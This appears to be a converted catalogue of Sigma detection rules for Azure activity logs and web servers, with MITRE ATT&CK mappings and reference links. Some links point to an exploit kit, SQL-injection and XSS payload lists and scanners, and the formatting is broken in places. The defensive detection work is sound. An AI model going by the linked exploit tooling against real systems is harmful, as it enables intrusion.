</tr>
</tbody>
</table>

Azure Owner Removed From Application or Service Principal

Identifies when a owner is was removed from a application or service principal in Azure.

The tag is: `misp-galaxy:sigma-rules="Azure Owner Removed From Application or Service Principal"`

Table 10692. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy">https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#application-proxy</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_owner_removed_from_application_or_service_principal.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_owner_removed_from_application_or_service_principal.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Granting Of Permissions To An Account

Identifies IPs from which users grant access to other users on azure resources and alerts when a
previously unseen source IP address is used.

The tag is: **misp-galaxy:sigma-rules="Granting Of Permissions To An Account"

**View relationships graph**

Granting Of Permissions To An Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"

**Table 10693. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml">https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_granting_permissions_detection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_granting_permissions_detection.yml</a></td>
</tr>
</tbody>
</table>

**Azure Kubernetes Secret or Config Object Access**

Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.

The tag is: **misp-galaxy:sigma-rules="Azure Kubernetes Secret or Config Object Access"

**Table 10694. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1">https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/matrices/enterprise/cloud/">https://attack.mitre.org/matrices/enterprise/cloud/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/">https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_secret_or_config_object_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_secret_or_config_object_access.yml</a></td>
</tr>
</tbody>
</table>

**Azure Kubernetes Sensitive Role Access**

Identifies when ClusterRoles/ Roles are being modified or deleted.

The tag is: **misp-galaxy:sigma-rules="Azure Kubernetes Sensitive Role Access"

**Table 10695. Table References**
Azure Keyvault Key Modified or Deleted

Identifies when a Keyvault Key is modified or deleted in Azure.

The tag is: `misp-galaxy:sigma-rules="Azure Keyvault Key Modified or Deleted"`

View relationships graph

Azure Keyvault Key Modified or Deleted has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10696. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_keyvault_key_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_keyvault_key_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure VPN Connection Modified or Deleted

Identifies when a VPN connection is modified or deleted.

The tag is: `misp-galaxy:sigma-rules="Azure VPN Connection Modified or Deleted"`

Table 10697. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_vpn_connection_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_vpn_connection_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>
Azure Container Registry Created or Deleted

Detectors when a Container Registry is created or deleted.

The tag is: misp-galaxy:sigma-rules="Azure Container Registry Created or Deleted"

Table 10698. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1">https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/matrices/enterprise/cloud/">https://attack.mitre.org/matrices/enterprise/cloud/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/">https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_container_registry_created_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_container_registry_created_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Kubernetes Events Deleted

Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.

The tag is: misp-galaxy:sigma-rules="Azure Kubernetes Events Deleted"

View relationships graph

Azure Kubernetes Events Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 10699. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml">https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_events_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_events_deleted.yml</a></td>
</tr>
</tbody>
</table>
**User Added to an Administrator’s Azure AD Role**

User Added to an Administrator’s Azure AD Role

The tag is: `misp-galaxy:sigma-rules="User Added to an Administrator’s Azure AD Role"`

View relationships graph

User Added to an Administrator’s Azure AD Role has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

Table 10700. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_ad_user_added_to_admin_role.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_ad_user_added_to_admin_role.yml</a></td>
</tr>
</tbody>
</table>

**Azure Kubernetes CronJob**

Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. An Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

The tag is: `misp-galaxy:sigma-rules="Azure Kubernetes CronJob"`

View relationships graph

Azure Kubernetes CronJob has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cron - T1053.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10701. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/">https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/</a></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/concepts/workloads/controllers/job/">https://kubernetes.io/docs/concepts/workloads/controllers/job/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/">https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes</a></td>
</tr>
</tbody>
</table>
Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted

Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.

The tag is: `misp-galaxy:sigma-rules="Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted"`

Table 10702. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1">https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/matrices/enterprise/cloud/">https://attack.mitre.org/matrices/enterprise/cloud/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/">https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_rolebinding_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_kubernetes_rolebinding_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Firewall Modified or Deleted

Identifies when a firewall is created, modified, or deleted.

The tag is: `misp-galaxy:sigma-rules="Azure Firewall Modified or Deleted"`

View relationships graph

Azure Firewall Modified or Deleted has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10703. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_firewall_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_firewall_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>
Azure DNS Zone Modified or Deleted

Identifies when DNS zone is modified or deleted.

The tag is: `misp-galaxy:sigma-rules="Azure DNS Zone Modified or Deleted"`

View relationships graph

Azure DNS Zone Modified or Deleted has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10704. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_dns_zone_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_dns_zone_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Virtual Network Modified or Deleted

Identifies when a Virtual Network is modified or deleted in Azure.

The tag is: `misp-galaxy:sigma-rules="Azure Virtual Network Modified or Deleted"`

Table 10705. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_virtual_network_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_virtual_network_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

Azure Device No Longer Managed or Compliant

Identifies when a device in azure is no longer managed or compliant

The tag is: `misp-galaxy:sigma-rules="Azure Device No Longer Managed or Compliant"`

Table 10706. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory">https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_device_no_longer_managed_or_compliant.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_device_no_longer_managed_or_compliant.yml</a></td>
</tr>
</tbody>
</table>
### Disabled MFA to Bypass Authentication Mechanisms

Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.

The tag is: `misp-galaxy:sigma-rules="Disabled MFA to Bypass Authentication Mechanisms"`

View relationships graph

Disabled MFA to Bypass Authentication Mechanisms has relationships with:


Table 10707. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/active-directory/authentication/howto-mfa-userstates">https://docs.microsoft.com/en-us/active-directory/authentication/howto-mfa-userstates</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_mfa_disabled.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_mfa_disabled.yml</a></td>
</tr>
</tbody>
</table>

### Azure Point-to-site VPN Modified or Deleted

Identifies when a Point-to-site VPN is Modified or Deleted.

The tag is: `misp-galaxy:sigma-rules="Azure Point-to-site VPN Modified or Deleted"`

Table 10708. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/role-based-access-control/resource-provider-operations">https://docs.microsoft.com/en-us/role-based-access-control/resource-provider-operations</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_p2s_vpn_modified_or_deleted.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/activity_logs/azure_network_p2s_vpn_modified_or_deleted.yml</a></td>
</tr>
</tbody>
</table>

### Azure Keyvault Secrets Modified or Deleted

Identifies when secrets are modified or deleted in Azure.

The tag is: `misp-galaxy:sigma-rules="Azure Keyvault Secrets Modified or Deleted"`

View relationships graph

Azure Keyvault Secrets Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
Azure Kubernetes Network Policy Change

Identifies when a Azure Kubernetes network policy is modified or deleted.

The tag is: misp-galaxy:sigma-rules="Azure Kubernetes Network Policy Change"

Azure Kubernetes Service Account Modified or Deleted

Identifies when a service account is modified or deleted.

The tag is: misp-galaxy:sigma-rules="Azure Kubernetes Service Account Modified or Deleted"

View relationships graph

Azure Kubernetes Service Account Modified or Deleted has relationships with:

Nginx Core Dump

Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.

The tag is: **misp-galaxy: sigma-rules = “Nginx Core Dump”**

**View relationships graph**

Nginx Core Dump has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern = “Application or System Exploitation - T1499.004” with estimative-language: likelihood-probability = “almost-certain”

---

**Apache Threading Error**

Detects an issue in apache logs that reports threading related errors

The tag is: **misp-galaxy: sigma-rules = “Apache Threading Error”**

**View relationships graph**

Apache Threading Error has relationships with:


**Apache Segmentation Fault**

Detects a segmentation fault error message caused by a crashing apache worker process

The tag is: *misp-galaxy:sigma-rules=“Apache Segmentation Fault”*

View relationships graph

Apache Segmentation Fault has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"

**Windows Webshell Strings**

Detects common commands used in Windows webshells

The tag is: *misp-galaxy:sigma-rules=“Windows Webshell Strings”*

View relationships graph

Windows Webshell Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003” with estimative-language:likelihood-probability="almost-certain"
JNDIExploit Pattern

Detects exploitation attempt using the JNDI-Exploit-Kit

The tag is: `misp-galaxy:sigma-rules="JNDIExploit Pattern"`

**View relationships graph**

JNDIExploit Pattern has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with `estimative-language:likelihood-probability="almost-certain"`

*Table 10716. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/pimps/JNDI-Exploit-Kit">https://github.com/pimps/JNDI-Exploit-Kit</a></td>
</tr>
<tr>
<td><a href="https://githubmemory.com/repo/FunctFan/JNDIExploit">https://githubmemory.com/repo/FunctFan/JNDIExploit</a></td>
</tr>
</tbody>
</table>

SQL Injection Strings In URI

Detects potential SQL injection attempts via GET requests in access logs.

The tag is: `misp-galaxy:sigma-rules="SQL Injection Strings In URI"`

**View relationships graph**

SQL Injection Strings In URI has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with `estimative-language:likelihood-probability="almost-certain"`

*Table 10717. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/payloadbox/sql-injection-payload-list">https://github.com/payloadbox/sql-injection-payload-list</a></td>
</tr>
<tr>
<td><a href="https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/">https://www.acunetix.com/blog/articles/exploiting-sql-injection-example/</a></td>
</tr>
<tr>
<td><a href="https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/">https://www.acunetix.com/blog/articles/using-logs-to-investigate-a-web-application-attack/</a></td>
</tr>
<tr>
<td><a href="https://brightsec.com/blog/sql-injection-payloads/">https://brightsec.com/blog/sql-injection-payloads/</a></td>
</tr>
</tbody>
</table>
F5 BIG-IP iControl Rest API Command Execution - Webserver

Detects POST requests to the F5 BIG-IP iControl Rest API "bash" endpoint, which allows the execution of commands on the BIG-IP

The tag is: `misp-galaxy:sigma-rules="F5 BIG-IP iControl Rest API Command Execution - Webserver"

View relationships graph

F5 BIG-IP iControl Rest API Command Execution - Webserver has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

Table 10718. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash">https://f5-sdk.readthedocs.io/en/latest/apidoc/f5.bigip.tm.util.html#module-f5.bigip.tm.util.bash</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_f5_tm_utility_bash_api_request.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_f5_tm_utility_bash_api_request.yml</a></td>
</tr>
</tbody>
</table>

Source Code Enumeration Detection by Keyword

Detects source code enumeration that use GET requests by keyword searches in URL strings

The tag is: `misp-galaxy:sigma-rules="Source Code Enumeration Detection by Keyword"

View relationships graph

Source Code Enumeration Detection by Keyword has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"

Table 10719. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1">https://medium.com/@logicbomb_1/bugbounty-how-i-was-able-to-download-the-source-code-of-indias-largest-telecom-service-52cf5c5640a1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_source_code">https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_source_code</a> Enumeration.yml</td>
</tr>
</tbody>
</table>
Java Payload Strings

Detects possible Java payloads in web access logs

The tag is: `misp-galaxy:sigma-rules=“Java Payload Strings”`

View relationships graph

Java Payload Strings has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

Table 10720. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/">https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/geekculture/text4shell-exploit-walkthrough-ebc02a01f035">https://medium.com/geekculture/text4shell-exploit-walkthrough-ebc02a01f035</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/httpvoid0x2f/status/1532924261035384832">https://twitter.com/httpvoid0x2f/status/1532924261035384832</a></td>
</tr>
<tr>
<td><a href="https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdff0ffbf61598a2cd7d/Confluence-RCE.md">https://github.com/httpvoid/writeups/blob/62d3751945289d088ccfdff0ffbf61598a2cd7d/Confluence-RCE.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_java_payload_in_access_logs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_java_payload_in_access_logs.yml</a></td>
</tr>
</tbody>
</table>

Cross Site Scripting Strings

Detects XSS attempts injected via GET requests in access logs

The tag is: `misp-galaxy:sigma-rules=“Cross Site Scripting Strings”`

View relationships graph

Cross Site Scripting Strings has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189"` with estimative-language:likelihood-probability="almost-certain"

Table 10721. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/payloadbox/xss-payload-list">https://github.com/payloadbox/xss-payload-list</a></td>
</tr>
<tr>
<td><a href="https://portswigger.net/web-security/cross-site-scripting-contexts">https://portswigger.net/web-security/cross-site-scripting-contexts</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_xss_in_access_logs.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_xss_in_access_logs.yml</a></td>
</tr>
</tbody>
</table>
Path Traversal Exploitation Attempts

Detects path traversal exploitation attempts

The tag is: misp-galaxy:sigma-rules="Path Traversal Exploitation Attempts"

View relationships graph

Path Traversal Exploitation Attempts has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 10722. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/projectdiscovery/nuclei-templates">https://github.com/projectdiscovery/nuclei-templates</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_path_traversal_exploitation_attempt.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_path_traversal_exploitation_attempt.yml</a></td>
</tr>
</tbody>
</table>

Suspicious User-Agents Related To Recon Tools

Detects known suspicious (default) user-agents related to scanning/recon tools

The tag is: misp-galaxy:sigma-rules="Suspicious User-Agents Related To Recon Tools"

View relationships graph

Suspicious User-Agents Related To Recon Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

Table 10723. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/wpscanteam/wpscan/blob/196fbb5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb">https://github.com/wpscanteam/wpscan/blob/196fbb5b1ce3870a43515153d4f07878a89d410/lib/wpscan/browser.rb</a></td>
</tr>
<tr>
<td><a href="https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92">https://github.com/lanmaster53/recon-ng/blob/9e907dfe09fce2997f0301d746796408e01a60b7/recon/core/base.py#L92</a></td>
</tr>
<tr>
<td><a href="https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst">https://github.com/xmendez/wfuzz/blob/1b695ee9a87d66a7d7bf6cae70d60a33fae51541/docs/user/basicusage.rst</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_useragents.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/web/webserver_generic/web_susp_useragents.yml</a></td>
</tr>
</tbody>
</table>
**Webshell ReGeorg Detection Via Web Logs**

Certain strings in the uri_query field when combined with null referer and null user agent can indicate activity associated with the webshell ReGeorg.

The tag is: *misp-galaxy: sigma-rules="Webshell ReGeorg Detection Via Web Logs"*

[View relationships graph](#)

Webshell ReGeorg Detection Via Web Logs has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

**Table 10724. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3">https://community.rsa.com/community/products/netwitness/blog/2019/02/19/web-shells-and-netwitness-part-3</a></td>
</tr>
<tr>
<td><a href="https://github.com/sensepost/reGeorg">https://github.com/sensepost/reGeorg</a></td>
</tr>
</tbody>
</table>

**Successful IIS Shortname Fuzzing Scan**

When IIS uses an old .Net Framework it's possible to enumerate folders with the symbol "~"

The tag is: *misp-galaxy: sigma-rules="Successful IIS Shortname Fuzzing Scan"*

[View relationships graph](#)

Successful IIS Shortname Fuzzing Scan has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"

**Table 10725. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebbaa661c8407038e430759dfdd4ec31/fuzzing/iis-shortname.yaml">https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebbaa661c8407038e430759dfdd4ec31/fuzzing/iis-shortname.yaml</a></td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/19525">https://www.exploit-db.com/exploits/19525</a></td>
</tr>
<tr>
<td><a href="https://github.com/lijiejie/IIS_shortname_Scanner">https://github.com/lijiejie/IIS_shortname_Scanner</a></td>
</tr>
</tbody>
</table>
Suspicious Windows Strings In URI

Detects suspicious Windows strings in URI which could indicate possible exfiltration or webshell communication

The tag is: `misp-galaxy:sigma-rules="Suspicious Windows Strings In URI"`

View relationships graph

Suspicious Windows Strings In URI has relationships with:

